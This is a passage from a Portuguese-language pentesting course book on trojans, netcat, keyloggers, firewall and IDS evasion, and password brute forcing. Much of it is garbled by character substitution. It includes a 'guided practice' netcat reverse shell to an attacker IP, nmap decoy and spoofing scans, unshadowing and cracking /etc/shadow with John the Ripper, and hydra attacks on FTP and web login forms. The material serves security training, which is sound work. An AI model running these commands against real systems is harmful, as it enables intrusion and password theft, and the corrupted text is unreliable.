'anto os vrus quanto os cavalos de tr)ia no conseguem infectar um
computador e$terno sem a ajuda de uma pessoa.
, worm ou verme # um programa que pode infectar tanto uma mquina local
quando uma mquina e$terna. ormalmente! os worms e$ploram falhas de
segurana em outros programas para se propagarem! como # o caso do worm
&7A('E3! que ficou mundialmente conhecido ap)s infectar milhares de
computadores e poucas horas. Esse worm e$plorava um problema de programao
em um servio conhecido por rpc%dcom! que vem ativado por padro nos sistemas
operacionais ?indows @AAA e ?indows B6.
6or#m! nem todos os ?orms so destrutivos. Alguns worms j foram lanados
para ClimparD computadores de pessoas que estavam infectadas por outros worms
nocivos.
10.'. (etcat
etcat # uma ferramenta usada para ler e escrever dados em cone$1es de
rede usando o protocolo '+6E26. Fada sua grande versatilidade! o etcat #
considerado pelos hackers o canivete suo do '+6E26! podendo ser usado para fa*er
desde portscans at# brute force attacks.
, nome netcat vem do comando GcatG do 7inu$E-ni$. , cat concatena arquivos
e envia para a sada padro 9stdout:. , netcat fa* praticamente o mesmo! por#m ao
inv#s de concatenar arquivos! o netcat concatena sockets '+6 e -F6.
6ossui inHmeras fun1es! dentre as quais4
>arredura de portas5
&anner grabbing5
+riao de backdoor5
'unelamento e etc.
Al#m de facilitar a vida do administrador de rede! tamb#m facilita a vida de
um invasor! portanto! cuidadoI "ate seu processo e remova o binrio sempre ap)s a
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 12
utili*ao! caso no queira tornar%se a vtima.
10.6.1. Opes do Netcat
%e comando % E$ecuta o comando especificado usando como entrada
9stdin: os dados recebidos pela rede e enviando os dados de sada
9stdout e stderr: para a rede. Essa opo somente estar presente se o
nc for compilado com a opo JA62JK(E+-32'LK<,7E! j que
permite que usurios disponibili*em programas para qualquer um
conectado a rede5
%i % Especifica o intervalo de tempo no qual as linhas de te$to sero
enviadas ou recebidas5
%l % +oloca no netcat em estado de escuta 9listening:5
%7 % +oloca no netcat em estado de escuta 9listening:! reiniciando o
netcat com a mesma linha de comando caso a cone$o feche5
%n % =ora o netcat a usar apenas endereos de 26 num#ricos! sem
fa*er consultas a servidores F(5
%o filename % -sando para obter um log dos dados de entrada ou sada!
em formato he$adecimal5
%p % Especifica a porta a ser usada! sujeito a disponibilidade e a
restri1es de privil#gio5
%r % =a* as portas do portscan serem escolhidas aleatoriamente5
%s % Especifica o endereo 26 da interface usada para enviar os pacotes.
6ode ser usado para spoofing de 26s! bastando apenas configurar uma
interface do tipo ethA4A 9usando o ifconfig: com o 26 desejado5
%t % 6ermite usar o nc para criar sess1es de telnet por script. 6recisa
estar compilado com a opo %F'E7E'5
%u % -sar -F6 ao inv#s de '+65
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 12!
%v % +ontrola o nvel de mensagens mostradas na tela5
%w % 7imita o tempo m$imo para que uma cone$o seja estabelecida5
%* % 6ara evitar o envio de dados atrav#s de uma cone$o '+6! e limitar
os dados de uma cone$o -F6.
10.6.2. Netcat - Utilizao
Transferncia de arquivos:
o servidor4
# netcat -l -p 5050 > pass.txt
o cliente4
# cat pass.txt | netcat ip_server 5050
Uso como scanner
# nc -vv 127.0.0.1 22-25
10.6.3. Encadeando Netcats
etcat foi desenvolvido para trabalhar com um pipeline! ento naturalmente a
sada de uma instMncia do etcat pode alimentar a entrada de outro. Abai$o segue
uma maneira de enviar um arquivo de log de um host para outro atrav#s de um
intermedirio4
host3# nc -l > log.txt
host2# nc -l --sh-exec "ncat host3"
host1# nc --send-only host2 log.txt
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 12"
, etcat em modo de escuta no host@! ao receber uma cone$o cria um Gnovo
netcatG para falar com o hostN e conecta a entrada e sada do programa em e$ecuo
no hostO e hostN encadeando%os. Esse mesmo GmaceteG pode ser utili*ado em um
host local tamb#m. , e$emplo a seguir direciona a porta PAPA para o servidor web
e$emplo.org.br4
# nc -l localhost !0!0 --sh-exec "ncat exe"plo.org.#r !0
10.). *e+lo,,er
8e;logger so programas utili*ados para gravar tudo aquilo que o usurio
digita no teclado. Alguns! mais avanados! arma*enam screenshots da tela ou at#
mesmo a rea ao redor do ponteiro do mouse onde ocorre um click.
E$emplos de 8e;loggers4
Ardama$ Q ?indows
6;ke;logger Q 7inu$ % http$%%so&rce'orge.net%pro(ects%py)eylogger%'iles%
Al#m dos ke;loggers l)gicos! temos os ke;loggers fsicos! que podem ser
comprados em lojas virtuais por poucos d)lares.
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 12#
Esses ke;loggers fsicos se parecem com adaptadores de teclados 6(@E-(&!
sendo instalados entre o cabo do teclado e a entrada 6(@ da +6-! s) que eles
arma*enam dentro de uma mem)ria flash tudo o que # digitado no teclado
CgrampeadoD.
,bviamente! que a instalao de um dispositivo desses! seja l)gico ou fsico!
necessita do uso de recursos de engenharia social para que o mesmo seja instalado
na mquina do alvo. E no caso do ke;logger fsico! o atacante precisa ter acesso
fsico 0 mquina! tanto para instalar! quanto para pegar de volta o dispositivo.
10.-. .r/tica diri,ida
O. >amos criar uma backdoor e acessar a mquina alvo atrav#s dela.
a mquina do atacante e$ecute4
#nc -l -p *000
a mquina da vtima e$ecute4
#nc ip_do_atacante *000 -e %#in%sh
@. +opiar o p;ke;logger para a mquina alvo e e$ecut%lo.
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 12$
10.0. Contramedidas
"onitorar constantemente os servios e$ecutados na mquina e as portas
abertas.
3eali*ar varreduras constantes utili*ando ferramentas especficas! como o
-nhide! chkrootkit e o (ecurit; AuditorRs 3esearch Assistant 9(A3A:! por
e$emplo.
Evitar reali*ar a maioria das tarefas como root! j que para a infeco e
alastramento! a maioria dos malwares precisam de privil#gios de root.
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 128
Captulo 11
Ignorando Protees
11.1. Objetivos
Conhecer os mecanismos de evaso de firewall
Conhecer as tcnicas de evaso de IDS/IPS
Entender as tcnicas de anti-forense
Captulo 11 Inorando !rote"#es - 12$
11.2. Evaso de FirewallI!" #o$ %$ap
As tcnicas de evaso de firewall e IDS so utilizadas para evitar ue ualuer
tipo de aplica!o ue contenha filtros e controles de acesso" possam detectar as
a!#es do atacante$
%anto ferramentas espec&ficas uanto par'metros de ferramentas cu(o o)(etivo
de utiliza!o no especificamente esse" podem ser usados$
A)ai*o vamos ver al+uns par'metros do ,map" ue podem ser utilizados para
)urlar prote!#es" e do -irewall %ester .-%ester/" ue utilizado para testar re+ras de
firewall pesuisando como est0 o n&vel de )loueio e detec!o de pacotes maliciosos$
-f 12 fra+menta pacotes" incluindo pacotes IP$ A idia dividir os ca)e!alhos
%CP em v0rios pacotes" dificultando a detec!o por filtros de pacotes" IDS e
etc$
-D <decoy1>[,<decoy2>][,ME]["$$$3 12 realiza uma varredura utilizando
iscas$ -az parecer ue v0rios hosts da rede" (untamente com seu IP" esto
varrendo o alvo$ Desse modo" o IDS pode reportar 4-56 varreduras em um
7nico IP" mas no sa)er0 definir uais so iscas inocentes e ual IP est0
realmente realizando a varredura$
-S <IP_Address2 12 realiza um IP spoofin+" fazendo com ue um IDS report
uma varredura sendo realizada a partir de um outro IP" ue no o seu" mas ue
definido por voc8$
--source-port <portnumber2 12 realiza um port spoofin+" permitindo ue
se(a definido no pacote de ual porta ele teoricamente foi enviado$ Essa tcnica
e*plora as portas a)ertas no alvo para realizar varreduras ue o firewall
permitir0 por conta de suas re+ras$ As portas mais utilizadas so D,S .49/ e
-%P .:5/$
--rndom!"e-#osts 12 ordena de forma aleat;ria os hosts alvos de uma
varredura$ Isso pode tornar a varredura menos ;)via para sistemas de
Captulo 11 Inorando !rote"#es - 1%0
monitoramento de rede" especialmente se com)inado com op!#es de <slow
timin+<$
--spoof-mc <MA$ ddress2 12 faz um =AC spoofin+" atri)uindo um
endere!o =AC" definido pelo atacante" para todos os frames ethernet enviados$
11.&. Firewall 'ester
-irewall %ester .-%ester/ uma ferramenta criada para testar re+ras de
filtra+em firewalls e as capacidades Intrusion Detection S>stem .IDS/$
A ferramenta consiste em : scripts perl" um in(etor de pacotes .ftest/ e um
sniffer passivo .listenin+ sniffer ? ftestd/$
11.3.1. Caractersticas:
firewall testin+
IDS testin+
Simula!o de cone*#es reais %CP para inspecionar firewalls e IDS$
-ra+menta!o de IP / -ra+menta!o de %CP
%cnicas de evaso de IDS
Do%n&od - http@//dev$inversepath$com/ftester
Document'(o - http://dev.inversepath.com/ftester/ftester.html
11.3.2. Utilizao:
# ./ftest
# ./ftestd
Captulo 11 Inorando !rote"#es - 1%1
11.3.3. Sintaxe:
Para pacotes %CP e ADP@
IPBori+em@portaBori+em@IPBdestino@portaBdestino@-la+s@Protocolo@%ipoBservi!o
Para pacotes IC=P@
IPBori+em@portaBori+em@IPBdestino@portaBdestino@-la+s@IC=P@tipoBicmp@c;di+
oBicmp
E)emp&o*
5C:$5DE$6$5@5-56:F@56$G$6$5@:6-:4@S@%CP@::
11.(. !ete#tando )one*pots
Dificilmente uma or+aniza!o ou empresa ue este(a contratando
profissionais para realizar um pentest" possui um hone>pot em sua rede$ =as ainda
assim e*iste essa possi)ilidade$$$
E*istem v0rios tipos de hone>pots" mas podemos dividi-los" )asicamente" em
dois +randes +rupos@
Hone>pot de )ai*a interatividade
Hone>pot de alta interatividade
I hone>pots de )ai*a interatividade so facilmente detect0veis" )astando
utilizar )oas ferramentas de varredura" desco)erta de vulnera)ilidades e e*plora!o"
pois por sua limita!o de respostas e intera!o com o atacante" pelas respostas
transmitidas ao atacante" esse 7ltimo conse+uir0 perce)er ue o alvo no uma
m0uina real$
J0 com os hone>pots de alta interatividade" a coisa muda de fi+ura" pois suas
Captulo 11 Inorando !rote"#es - 1%2
respostas so mais consistentes e o comportamento )em pr;*imo de um servidor
real" caso este(a )em confi+urado$
Com os HP de alta interatividade" apenas a e*peri8ncia e o conhecimento
dessas armadilhas podem permitir ao pen-tester desco)rir e detectar essas
armadilhas para invasores$ ,o entanto" no aconselho perder muito tempo tentando
detectar hone>pots e definir se um servidor ue est0 tentando e*plorar um HP ou
no$ Dei*e ue isso se(a conseu8ncia de seu tra)alho" e no o o)(etivo principal$
%r8s ;timas ferramentas ue podem ser utilizadas na detec!o de hone>pots
so@
,map
,essus
IpenKAS
11.+. Pr,ti#a dirigida
Karredura com Spoofin+ e Deco>@
nmap -S 192.168.0.1 -p 22 -O -sV -0 -n 192.168.200.1
nmap -sS !-so"rce-port #$ -p 80 -0 -n -% 192.168.0.2&' 192.168.0.2#
192.168.200.(
5$ Lealizar essas varreduras nos micros vizinhos" com o wiresharM rodando$
:$ Desco)rir" na rede" ual o IP onde h0 um hone>pot sendo e*ecutado$
11.-. Contra$edidas
=anter re+ras de firewall e IDS muito )em confi+uradas
=anter a aten!o constante em lo+s de euipamentos ue so respons0veis
pela prote!o da rede
,o confiar em apenas um firewall ou IDS" compartimentalizando a rede
Captulo 11 Ignorando Protees - 133
Captulo 12
Tcnicas de Fora Bruta
12.1. Objetivos
Conhecer os mecanismos de gerao de wordlist
Conhecer ferramentas de bruteforce
Entender o que boa poltica de senhas
Captulo 12 Tcnicas de Fora Bruta - 134
12.2. Brute Force
Uma das mais conhecidas tcnicas de invaso de sistemas , sem dvida, o
brute force ! mtodo de funcionamento de um ataque desse tipo muito simples"
so geradas v#rias tentativas de cone$o a partir do nome de um prov#vel usu#rio da
m#quina alvo % tcnica consiste em gerar v#rias combina&es de senhas para esse
usu#rio, na tentativa de 'adivinhar' a senha dele
(ambm podemos alternar o nome do usu#rio, fa)endo brute force de usu#rio
e senha *ara isso, podemos obter um arquivo chamado +wordlist', no qual podemos
gerar diversas combina&es possveis de senhas para testar com o brute force
,aseados nisso, veremos algumas ferramentas para reali)ar esse tipo de teste
12.3. Wordlist
Uma boa wordlist fundamental para o sucesso de um ataque de brute force
- possvel comprar wordlists, fa)er download ou at mesmo gerar listas de palavras
que sero usadas pelas ferramentas de brute force
12.3.1. Download de Wordlist
.ordlists podem ser encontradas em diversos locais, incluindo redes de
compartilhamento de arquivos /*0*1 %bai$o seguem alguns sites que possuem
wordlists para download"
Site:
http"22www3harenetne4p25waring2vocab2wordlists2vocfreqhtml
http"22wwwoutpost6com2files2.ord7istshtml
http"22wordlistsourceforgenet2
Captulo 12 Tcnicas de Fora Bruta - 135
http"22rapidsharecom2files23889:30;3209<,wordlistrar
P2P:
e=ule
>a)aa
(orrent
12.4. era!o de Wordlist
E$istem diversas ferramentas que au$iliam na gerao de uma wordlist
%bai$o listaremos algumas das ferramentas que podem ser usadas para a reali)ao
dessa tarefa
# crunch 5 8 12345678 > /tmp/wordlist-numeric
Onde:
? @ tamanho mnimo da palavra
9 @ tamanho m#$imo da palavra
30;A?:B9 @ Caracteres que sero usados para a gerao da lista
(emos mais algumas op&es a definir com esta ferramenta, mas desta ve)
vamos tentar criar combina&es mais prC$imas do 'mundo real' onde muitas ve)es,
ou por falta de criatividade ou medo de esquecer a senha as pessoas acabam
associando ao prCprio nome uma data, casamento, namoro, nascimento, anivers#rio
do papagaio, etc Damos ver como poderamos 'adivinhar' a senha o Enior
Captulo 12 Tcnicas de Fora Bruta - 13
# crunch 10 10 1234567890 -t junior > /tmp/juniorlist
Onde:
38 @ tamanho mnimo da palavra
38 @ tamanho m#$imo da palavra
30;A?:B968 @ Caracteres que sero usados para a gerao da lista
Damos fa)er uso de outra ferramenta para gerar wordlists, no caso, a
ferramenta wFd % diferena dessa ferramenta para o crunch que essa utili)a uma
maneira mais 'inteligente' de gerar as combina&es
Damos gerar a wordlist com baseado em um arquivo G(=7 de um site
qualquer que fi)emos download"
# w!d"pl -o /tmp/wordlist "/meu#dump"html
Eliminando as palavras repetidas"
# c$t /tmp/wordlist % sort -u > /tmp/wordlist-inteli&ente
! wFd consegue gerar combina&es a partir de arquivos em te$to puro, html,
php, doc, ppt, pdf, odt, ods e odp
12.". #o$n T$e %ipper
! Eohn um dos utilit#rios mais conhecidos para decifrar senhas no 7inu$,
pois consegue decifrar algoritmos usados pelo sistema como o =H? e outras (oda a
configurao do Eohn feita em um arquivo te$to chamado 4ohnconf em sistemas
Captulo 12 Tcnicas de Fora Bruta - 13!
Uni$ ou 4ohnini no .indows, por e$emplo Ieste arquivo vocJ consegue definir
regras para a descoberta de senhas, wordlists, parKmetros para os modos e at
definir um novo modo de descoberta de senhas
Este arquivo dividido em v#rias se&es (odas as se&es comeam com uma
linha com seu nome entre colchetes / L M 1 %s op&es destas se&es so definidas em
vari#veis de modo bem simples, como em"
vari#vel N valor
!s nomes de se&es e vari#veis so caseOinsensitive, ou se4a, PEC%!3 e
secao3 so a mesma seo e D%Q3 e var3 so a mesma vari#vel !s caracteres R e S
so completamente ignorados, assim como linhas em branco
%bai$o esto as e$plica&es das op&es dividas por seo"
Options:
.ordlist" % wordlist a ser utili)ada pelo EtQ ! arquivo pode estar em
qualquer lugar, basta especificar o caminho correto nessa vari#velS
Tdle" Configura o Eohn para usar seu C*U quando este estiver inativo
Himinui o desempenho da quebra da senha, porm no impacta tanto no
desempenho de outros programas ! padro desta opo I
/desabilitado1S
Pave" Tntervalo no qual o software ir# gravar seu progresso para no caso
de uma interrupo ele possa recomear novamente de onde havia
paradoS
,eep" Emite um bip quando uma senha quebrada
List.Rules:Single
Iesta seo ficam as regras default do software para a quebra das senhas
Po regras como substituio de strings, escrita 3;;B e outras
List.Rules:Wordlist
Captulo 12 Tcnicas de Fora Bruta - 13"
Iesta seo ficam as regras de substituio de caracteres, modifica&es de
palavras, etc quando se est# usando uma wordlist para tentar quebrar as senhas do
arquivo
List.Rules:NT
Iesta seo ficam as regras utili)adas quando se est# quebrando senhas
cifradas utili)ando o algoritmo I(7= /.indows1
Incremental*
%qui ficam as regras para o tipo de quebra de senhas chamado Tncremental
/todos os UtiposU de tentativas de quebra de senha que o Eohn utili)a sero e$plicados
mais adiante neste documento1
List.External:*
Po alguns filtros prOdefinidos para substituio de palavras, eliminao de
caracteres indese4ados, etc
12.5.1. MODOS
EtQ utili)a alguns modos para que consiga otimi)ar a quebra da senha Estes
modos so e$plicados a seguir"
=odo .ordlist
*ara utili)ar esse mtodo vocJ vai precisar de uma wordlist E$istem v#rios
lugares na Tnternet que possuem milhares de wordlists disponveis gratuitamente,
sC dar uma olhada no <oogle que vocJ ir# encontrar v#rias *ara te a4udar, aqui no
item U.ordlistsU vocJ encontra v#rios linVs para wordlists disponveis na Tnternet 7#
vocJ tambm encontra algumas dicas de como organi)ar a sua lista =as vale
lembrar que no bom que vocJ tenha entradas duplicadas na sua lista, o Ehon the
Qipper no vai fa)er absolutamente nada com a sua wordlist antes de comear a
testar as palavras que tem nela
Este o modo mais simples suportado pelo Eohn *ara utili)#Olo vocJ sC
especifica uma wordlist e algumas regras para ele fa)er combina&es das palavras
que ele encontrar na lista que vocJ especificou Wuando utili)ando determinados
Captulo 12 Tcnicas de Fora Bruta - 13#
algoritmos, o EtQ se beneficiar# se vocJ colocar senhas com tamanhos mais ou menos
parecidos perto umas das outras *or e$emplo, seria interessante vocJ colocar as
senhas com 9, : ou 6 caracteres perto umas das outras na sua wordlist % wordlist
padro a ser utili)ada pelo Eohn definida no arquivo 4ohnconf

=odo Pingle CracV
- neste modo que vocJ deveria comear a tentar quebrar uma senha %qui,
alm de v#rias regras de handling serem aplicadas, o EtQ vai utili)ar mais
informa&es como o nome completo do usu#rio e seu diretCrio home para tentar
descobrir qual a senha Este modo muito mais r#pido que o modo U.ordlistU
=odo Tncremental
Este o modo mais poderoso do EtQ Iele sero tentadas todas as
combina&es possveis de caracteres para tentar quebrar a senha cifrada Hada a
grande quantidade de combina&es possveis, recomend#vel que se defina alguns
parKmetros /como tamanho da senha ou con4unto de caracteres a serem utili)ados1
para que vocJ no fique esperando pela senha ser quebrada por muito tempo
(odos os parKmetros para este modo so definidos no arquivo 4ohnconf, nas
se&es comeadas com Tncremental no nome
=odo E$ternal
Esse modo bastante comple$o Iele vocJ pode definir regras prCprias para o
Eohn seguir ao tentar quebrar uma senha (ais regras so definidas em uma
linguagem parecida com a C no arquivo de configurao do programa %o ser
especificado este modo ao tentar quebrar uma senha na linha de comando, o EtQ vai
prOprocessar as fun&es que vocJ escreveu para este modo e utili)#Olas %
documentao de uso desse modo pode ser obtida em"
http"22wwwopenwallcom24ohn2doc2EX(EQI%7shtml
Captulo 12 Tcnicas de Fora Bruta - 14$
12.5.2. LINHA DE COMANDO
! Eohn suporta v#rias op&es de linha de comando, geralmente usadas para
ativar determinados modos de uso do software *reste bastante ateno no case das
op&es, o EtQ caseOsensitiveY Uma caracterstica muito legal dele que possvel
abreviar as op&es da linha de comando desde que no ha4a ambigZidade /mais ou
menos da maneira como ocorre no shell de roteadores Cisco, por e$emplo1
%bai$o vou dar uma e$plicao b#sica das op&es que o Eohn suporta Pe vocJ
se esquecer de alguma opo quando estiver utili)ando o EtQ, sC digitar U4ohnU no
terminal e todas as op&es sero impressas para vocJ %s op&es podem ser definidas
utili)ando OO ou O e seus parKmetros so definidos utili)ando N ou "
OOsingle" Hefine o modo UsingleU para quebrar as senhas
OOwordlistN%QWUTD!" Hefine o modo UwordlistU para quebrar as senhas e
define o arquivo %QWUTD! como sendo de onde as senhas sero lidas
%qui vocJ pode utili)ar tambm a opo OOstdin para di)er que as palavras
viro da entrada padro
OOincremental" Hefine que ser# utili)ado o modo UincrementalU para
quebrar a senhas !pcionalmente vocJ pode definir que tipo de modo
incremental ser# utili)ado fa)endo OOincrementalLN=!H!M
OOe$ternalN=!H!" Hefine que ser# utili)ado o modo e$ternal
OOrules" Gabilita as regras para wordlist definidas em 4ohnconf quando se
utili)a o modo wordlist
OOstdoutLN7EI<(GM" Wuando utili)ado, fa) com que o EtQ imprima as
possveis senhas direto na sada padro ao invs de tent#Olas contra um
hash Pe vocJ definir o parKmetro 7EI<(G sC sero impressas senhas
com caracteres at a quantidade especificada em 7EI<(G
OOrestoreLNI!=EM" [a) com que uma sesso que foi interrompida
anteriormente continue de onde parou Pe vocJ definir um nome
diferente para a sesso, especifique o nome dela na linha de comando
Captulo 12 Tcnicas de Fora Bruta - 141
4unto com esta opo % sesso fica gravada na home do Eohn, em um
arquivo chamado 4ohnrec
OOsessionNI!=E" Hefine o nome da sesso que pode ser utili)ado com a
opo restore % esse nome ser# automaticamente adicionado a
e$tenso rec
OOstatusLNI!=EM" =ostra o status da ltima sesso ou, se definido o
nome da sesso, da sesso especificada
OOmaVeOcharsetN%QW" <era um arquivo charset para ser utili)ado no
modo UincrementalU
OOshow" =ostra as senhas do arquivo que vocJ especificou para o EtQ que
4# foram quebradas Esta opo especialmente til quando vocJ tem
outra instKncia do EtQ rodando
OOtest" Esta opo fa) um benchmarV de todos os algoritmos compilados
no software e os testa para saber se esto funcionando corretamente
Esta opo 4# foi e$plicada anteriormente
OOusersNLOMIome do usu#rio ou UTH" Com esta opo vocJ pode
especificar para o EtQ quais usu#rio vocJ quer tentar quebrar a senha
DocJ pode utili)ar o nome de usu#rio ou o UTH dele e pode separar v#rios
usu#rios utili)ando uma vrgula Utili)ando o UOU antes do nome do
usu#rio, vocJ fa) com que o Eohn ignore aquele usu#rio ou UTH
OOgroupsNLOM<TH" [a) com que o Eohn tente quebrar apenas as senhas dos
usu#rios participantes de um grupo especificado /ou ignor#Olos, se vocJ
utili)ar o UOU1
OOshellsNLOMPGE77" %penas tenta quebrar as senhas dos usu#rios cu4as
shells se4am iguais \ que foi especificada por vocJ na linha de comando
Utili)ando o UOU vocJ ignora as shells especificadas
OOsaltsNLOMIU=EQ!" Hei$a vocJ especificar o tamanho das senhas que
sero /ou no1 testadas %umenta um pouco a performance para quebrar
algumas senhas, porm o tempo total utili)ando esta opo acaba sendo o
mesmo
Captulo 12 Tcnicas de Fora Bruta - 142
OOformatN[!Q=%(!" *ermite a vocJ definir o algoritmo a ser usado para
quebrar a senha, ignorando a deteco autom#tica do software !s
formatos suportados atualmente so HEP, ,PHT, =H?, %[P e 7= DocJ
tambm pode utili)ar esta opo quando estiver utili)ando o comando
OOtest, como 4# foi e$plicado anteriormente neste te$to
OOsaveOmemorFN3, 0 ou ;" Esta opo define alguns nveis para di)er ao
Eohn com qual nvel de otimi)ao ele ir# utili)ar a memCria !s nveis
variam de 3 a ;, sendo 3 a mnima otimi)ao Esta opo fa) com que o
EtQ no afete muito os outros programas utili)ando muita memCria
12.5.3. USANDO A FEAMEN!A
*ara e$ecutar o Eohn sobre arquivos de senha de 7inu$, teremos que passar
para ele as senhas esto utili)ando o esquema de shadow no sistema *ara isso,
utili)aremos o e$ecut#vel 'unshadow', que est# presente 4unto com o Eohn"
# "/unsh$dow /etc/p$sswd /etc/sh$dow > p$ssword
%gora podemos e$ecutar o Eohn referenciando o nosso arquivo password
"/john p$ssword
'o$ded 5 p$sswords with 5 di((erent s$lts )*ree+,- .-5 /32/3201
2 )21
2 )teste1
$3c )teste11
12345 )s31
(ambm podemos passar na sinta$e um parKmetro para que o Eohn pegue a
lista de palavras de outro arquivo /por e$emplo, as wordlists que geramos
anteriormente1"
Captulo 12 Tcnicas de Fora Bruta - 143
# "/john -word(ile4/tmp/juniorlist p$ssword
! Eohn gera dois arquivos de log" o '4ohnpot'e o 'restore' Io primeiro
arquivo esto as senhas 4# decifradas, para que em uma nova e$ecuo ele no
comece tudo do )ero E# o arquivo 'restore' ir# conter informa&es sobre o estado de
e$ecuo do Eohn para continuar e$ecutando uma sesso interrompida /por e$emplo,
quando teclamos 'C(Q7]C' durante a e$ecuo1 Pe vocJ quiser retomar a e$ecuo
do ponto onde parou, basta e$ecutar"
# "/john -restore
(ambm podemos e$ibir as senhas 4# descobertas pelo programa usando a
opo show"
# "/john -show $r5ui6o#p$sswd
- importante ressaltar que o Eohn (he Qipper possui mCdulos adicionais que
no so compilados durante uma compilao padro Esses mCdulos podem ser
encontrados no prCprio site da ferramenta, atravs do endereo"
http"22wwwopenwallcom24ohn2 !s mCdulos adicionais se encontram no final da
p#gina inicial Como e$emplo, podemos citar o mCdulo para quebrar senhas de 7otus
Homino e =FPW7
12.&. T'C(')dra
! hFdra um dos utilit#rios que abrangem uma grande quantidade de
servios que podem ser alvos de brute force, entre eles" (E7IE(, [(*, [irebird,
G((*O<E(, G((*OGE%H, G((*PO<E(, G((*OGE%H, G((*O*Q!X^, G((*O*Q!X^O
I(7=, G((*O[!Q=O<E(, G((*O[!Q=O*!P(, G((*PO[!Q=O<E(, G((*PO[!Q=O
*!P(7H%*0, 7%H*;, P=,, P=,I(, =POPW7, =^PW7, *!P(<QEP, *!*; I(7=,
T=%*, T=%*OI(7=, IC*, II(*, *CI[P, TCW, P%*2Q;, Cisco auth, Cisco enable,
P=(*O%U(G, P=(*O%U(G I(7=, PPG0, PI=*, CDP, Cisco %%%, QEXEC, P!C>P?,
DIC, *!*; e D=wareO%uth %lm disso, o hFdra fornece suporte a cone$&es via
Captulo 12 Tcnicas de Fora Bruta - 144
pro$F ! $hFdra um utilit#rio gtV para uso do hFdra na interface gr#fica
12.".1. Usando o H#dra$!%
*ara bai$ar o GFdra<(>, basta acessar o endereo"
http4//(reeworld"thc"or&/rele$ses/h!dr$-5"8-src"t$r"&7
%pCs bai$ar o arquivo, e$ecute os seguintes comandos para descompact#Olo e
compil#Olo"
#t$r -276( h!dr$-5"8-src"t$r"&7
# cd h!dr$-5"8-src
# "/con(i&ure8 m$9e8 m$9e inst$ll
# cd h!dr$-&t9
# "/con(i&ure8 m$9e8 m$9e inst$ll
*ara e$ecutar o programa na interface gr#fica, basta chamarmos o bin#rio,
que 4# estar# no path do sistema, e informar o path do seu cCdigo fonte com o
parKmetro @hFdraOpath"
2h!dr$ --h!dr$-p$th /c$minho-completo0/h!dr$-5"8-src/
12.".2. H#dra no ter&inal
E$emplo do hFdra sendo usado contra o servio [(*"
# "/h!dr$ -' /tmp/usu$rios -: /tmp/p$ss -o /tmp/result$do -6 192"168"0"100
(tp
/;<=+>,<0 .ore t$s9s de(ined th$n lo&in/p$ss p$irs e2ist" ?$s9s reduced
to 15"
Captulo 12 Tcnicas de Fora Bruta - 145
@!dr$ 64"1 )c1 2004 3! 6$n @$user / ?@A - use $llowed onl! (or le&$l
purposes"
@!dr$ )http4//www"thc"or&1 st$rtin& $t 2004-09-28 16419421
/-B?B0 15 t$s9sC 1 ser6ersC 15 lo&in tries )l45/p431C D1 tries per t$s9
/-B?B0 $tt$c9in& ser6ice (tp on port 21
/;<=+>,<0 =esol6in& $ddresses """ done
/,?B?E,0 $tt$c9 (inished (or 192"168"0"100 )w$itin& (or childs to (inish1
/210/(tp0 host4 192"168"0"100 lo&in4 2 p$ssword4 123456
@!dr$ )http4//www"thc"or&1 (inished $t 2004-09-28 16419429
Em '2tmp2usuarios' temos a userlist de ftp, em '2tmp2pass' temos a wordlist
para os usu#rios e em '2tmp2resultado' o resultado do brute force no servio
De4amos o contedo do arquivo de sada do brute force"
# c$t /tmp/result$do
# @!dr$ 64"1 run $t 2004-09-28 16419421 on 192"168"0"100 (tp
)h!dr$ -' /tmp/usu$rios -: /tmp/p$ss -t 15 -6 -o /tmp/result$do
192"168"0"100 (tp1
/210/(tp0 host4 192"168"0"100 lo&in4 2 p$ssword4 123456
! (GCOGFdra tambm pode ser usado para reali)ar ataques contra
formul#rios web
*ara isso, podemos usar a opo httpOpostOform ou httpOgetOform, dependendo
do mtodo usado para envio dos dados pelo formul#rio web
Damos analisar o comando seguinte"
# h!dr$ -l h!dr$ -: p$ssword"lst -s 80 FG:> http-post-(orm
H/$dministr$dor/inde2"php4usu$rioIJE,<=JKsenh$IJ:B,,JKsu3mitI'o
&in4Gncorrect Esern$meH
! parKmetro _UPEQ_ ser# substitudo pelos usu#rios, no nosso caso, o valor
passado para a opo @l, no nosso caso o valor +hFdra', e o parKmetro _*%PP_ ser#
substitudo pelos valores passados na opo @*, no nosso caso, uma wordlist chamada
passwordlst
Captulo 12 Tcnicas de Fora Bruta - 14
Io e$emplo do nosso arquivo que se encontra na vmware de testes, acessvel
atravs do endereo http"22`ipavmb2bf2, podemos usar o seguinte comando para
reali)armos o ataque de bruteforce"
root3t4/tmp# h!dr$ -l $dmin -: wl"t2t -o result$do"t2t 192"168"3"106 http-
&et-(orm
H/3(/3("php4usu$rioIJE,<=JKsenh$IJ:B,,JKsu3mitI<n6i$r4incorret$H
12.*. Brute++'2
! ,rutePPG0 um script, que pode ser encontrado em C, *erl ou *Fthon, que
reali)a ataques de fora bruta na porta 00 e utili)a wordlists para descobrir senhas
*ara e$ecutar sC entrar como root e digitar"
# chmod 777 3rutessh2"p!
# "/3rutessh2"p!
12.,. %ainbo- Crac.
QainbowCracV um programa que gera rainbow tables para serem usadas na
quebra de senhas ! QainbowCracV difere dos programas de fora bruta
convencionais, pois utili)a tabelas previamente criadas, chamadas rainbow tables,
para redu)ir drasticamente o tempo necess#rio para quebrar senhas
Um Ctimo programa para utili)armos para quebrar senhas .indows com
rainbow tables o !phcracV
#$ptitude inst$ll ophcr$c9
Captulo 12 Tcnicas de Fora Bruta - 14!
!utro programa, que quebra inclusive hashs =H?, PG%3, PG%0 e etc, o Cain
/que roda em .indows1
*ara bai$ar Qainbow (ables"
http"22rainbowtablesshmoocom2
*ara entender mais"
http4//www"ethic$lh$c9er"net/content/6iew/94/24/
12./. 0tili1ando o %ainbo- Crac. para cria!o de %ainbo- Tables
12.'.1. Introd()*o
QainbowCracV uma ferramenta cu4o ob4etivo quebrar hash de senhas
! mtodo utili)ado pela ferramenta o brute force Iesse mtodo, todas as
senhas em te$to plano e seus hashs correspondentes so computados um por um !
hash computado comparado com o hash alvo Pe um deles for igual, a senha em
te$to plano encontrada Ho contr#rio, o processo continua at finali)ar todas as
senhas possveis
Io mtodo timeOmemorF, a tarefa de computar hashs feita atravs do
